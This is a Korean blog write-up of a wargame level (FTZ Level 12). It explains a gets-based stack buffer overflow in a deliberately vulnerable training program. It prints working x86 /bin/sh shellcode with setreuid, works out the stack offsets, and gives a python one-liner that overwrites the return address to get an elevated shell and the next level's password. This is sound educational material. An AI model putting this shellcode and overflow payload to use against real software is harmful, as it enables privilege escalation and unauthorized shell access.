FTZ

[FTZ] Level 12

Woo_Seok 2021. 2. 15. 08:57

[ Level 12 ]

level12 로그인

ID : level12

PW : it is like this


level12의 힌트도 level11과 동일하게 attackme의 C언어 코드가 나왔다.

이번에는 level11과 다르게 gets로 문자열을 입력받는다.

 

우선 level11과 동일하게 /bin/sh 쉘 코드의 환경변수를 만들어 준다.

< /bin/sh 쉘 코드 >

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

힌트에 있는 코드를 복사하여 tmp 디렉터리로 이동한 후, 테스트용 attack 파일을 만들어 붙여 넣어 준다.

그리고 getenv함수를 이용하여 환경변수의 주소를 알려주는 c언어 파일도 만들어준다.

두 c파일 모두 gcc 명령어를 통해 실행파일을 만들어준다.

getenv.c 파일 소스코드

※ attack.c 파일을 gcc명령어로 실행파일을 만들어 줄 때,

   출력된 에러 문장은 gets 함수가 위험하다는 것을 알려주는 것이다. ( 문제를 푸는데 아무런 지장이 없다. )

 

attack 실행파일을 gdb로 실행시키고,

set disassembly-flavor intel을 입력하여 intel문법으로 바꿔준 후,

disass main을 입력한다.

어셈블리 코드로 확인해보니 str배열을 선언하기 위해 0x108(264)만큼의 공간을 만든 것을 확인할 수 있다.

하지만 c코드에서는 str배열을 256byte만큼만 만들어주었으나 어셈블리 코드에서는 264byte만큼의 공간을 만들었다.

이는 8byte만큼의 dummy 공간이 만들어졌다는 것을 의미한다.

str 256byte
dummy 8byte
EBP 4byte
RET 4byte

이번에도 RET에 쉘 코드의 주소를 넣어주면 되기 때문에 \x90(NOP)을 268개 넣어줄 것이다.

 

./getenv를 입력하여 쉘 코드의 주소를 알아낸다.

이후, (python -c 'print "\x90"*268 + "\x17\xfc\xff\xbf"'; cat) |./attack을 입력하면

gets를 통해 무언가 입력된 것을 확인할 수 있다. 이때, whoami 등의 쉘 명령어를 입력해보면,

/bin/sh가 실행된 것을 확인할 수 있다.

 

whoami 명령어는 현재 내가 로그인한 사용자를 보여준다.

( 종료하고 싶다면 "ctrl + c"를 누르면 된다. )

 

이제 attackme 파일에 직접 위와 같이 실행한 뒤,

my-pass를 입력하면 level13의 Password를 알 수 있다.


[ Level 12 Clear ]